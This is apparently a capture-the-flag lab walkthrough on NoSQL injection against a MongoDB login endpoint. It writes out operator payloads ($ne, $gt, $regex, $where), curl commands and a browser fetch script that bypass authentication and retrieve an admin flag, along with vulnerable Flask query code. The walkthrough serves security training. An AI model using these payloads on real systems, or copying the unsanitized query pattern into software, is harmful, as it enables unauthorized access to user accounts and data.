A modern user management system relies on MongoDB for secure data storage, implementing document-based authentication and user profiles. But when JSON queries meet insufficient input sanitization, even the most flexible NoSQL databases can become vulnerable to injection attacks. 🎯 Time to test your NoSQL exploitation skills against cutting-edge database technology!
NoSQL injection occurs when user input is directly incorporated into database queries without proper sanitization. Unlike SQL injection, NoSQL injection exploits the flexible query structure of document databases like MongoDB, often using JSON operators and query manipulation.
db.users.find({"username": "admin", "password": "secret"})
db.users.find({"username": user_input, "password": pass_input})
db.users.find({"username": {"$ne": null}, "password": {"$ne": null}})
Navigate to
Test Credentials:
testuser
, password: password123
The application constructs MongoDB queries by directly incorporating user input:
# VULNERABLE: Direct incorporation of user input
query = {
"username": request.json.get('username'),
"password": request.json.get('password')
}
user = db.users.find_one(query)
This construction allows attackers to inject MongoDB operators and manipulate query logic.
# Inject $ne (not equal) operator
{
"username": {"$ne": null},
"password": {"$ne": null}
}
# This matches any user with non-null credentials
# Inject $regex operator
{
"username": {"$regex": ".*"},
"password": {"$regex": ".*"}
}
# This matches any username and password
The most effective NoSQL injection payload uses the $ne
(not equal) operator:
POST /api/login
Content-Type: application/json
{
"username": {"$ne": null},
"password": {"$ne": null}
}
How this works:
db.users.find({"username": {"$ne": null}, "password": {"$ne": null}})
$ne: null
condition matches any document where the field is not null# Execute NoSQL injection
curl -X POST /api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}' \
-c cookies.txt
# Expected response:
# {"message":"Login successful","user":"admin"}
# Check if we gained admin privileges
curl -X GET /api/admin/users \
-b cookies.txt
# Should return user list if admin access gained
With admin privileges gained through NoSQL injection, access the flag:
# Access admin flag endpoint
curl -X GET /api/admin/flag -b cookies.txt
# Expected response:
{
"flag": "[FLAG_UUID_HERE]",
"message": "Congratulations! You have successfully exploited the NoSQL injection vulnerability.",
"admin_user": "admin"
}
# Using $gt (greater than)
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
# Matches users with non-empty strings
# Using $exists operator
{
"username": {"$exists": true},
"password": {"$exists": true}
}
# Matches users where fields exist
# Using $in operator
{
"username": {"$in": ["admin", "root", "user"]},
"password": {"$ne": null}
}
# Targets specific usernames
You can also exploit this using browser developer tools:
// NoSQL injection via browser console
fetch('/api/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
username: {$ne: null},
password: {$ne: null}
})
})
.then(r => r.json())
.then(data => {
console.log('Login result:', data);
// If successful, get the flag
return fetch('/api/admin/flag');
})
.then(r => r.json())
.then(flag => console.log('Flag:', flag));
MongoDB queries use JSON-like syntax with special operators:
Operator | Description | Example |
---|---|---|
$ne | Not equal | {"field": {"$ne": "value"}} |
$gt | Greater than | {"age": {"$gt": 18}} |
$lt | Less than | {"age": {"$lt": 65}} |
$in | In array | {"role": {"$in": ["admin", "user"]}} |
$regex | Regular expression | {"name": {"$regex": "^A.*"}} |
$exists | Field exists | {"email": {"$exists": true}} |
$or | Logical OR | {"$or": [{"a": 1}, {"b": 2}]} |
# Extract username character by character
{
"username": {"$regex": "^a.*"},
"password": {"$ne": null}
}
# Test if username starts with 'a'
# Using $where for JavaScript execution
{
"$where": "sleep(5000) || true",
"username": "admin"
}
# Causes 5-second delay if vulnerable
Using Burp Suite for systematic testing:
The vulnerability exists because:
# VULNERABLE Flask code
@app.route('/api/login', methods=['POST'])
def login():
data = request.get_json()
# Direct incorporation of user input - DANGEROUS!
query = {
'username': data.get('username'),
'password': data.get('password')
}
user = db.users.find_one(query)
if user:
session['user'] = user['username']
return jsonify({'message': 'Login successful', 'user': user['username']})
return jsonify({'error': 'Invalid credentials'}), 401
Key vulnerability factors:
NoSQL injection vulnerabilities can lead to:
To prevent NoSQL injection vulnerabilities:
$ne, $gt, $lt, $gte, $lte, $in, $nin, $regex, $where, $exists, $or, $and, $not
/api/admin/flag
after successfully exploiting NoSQL injection to bypass authentication and gain admin privileges. The complete attack chain: NoSQL Inject → Bypass Auth → Gain Admin → Retrieve Flag.Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.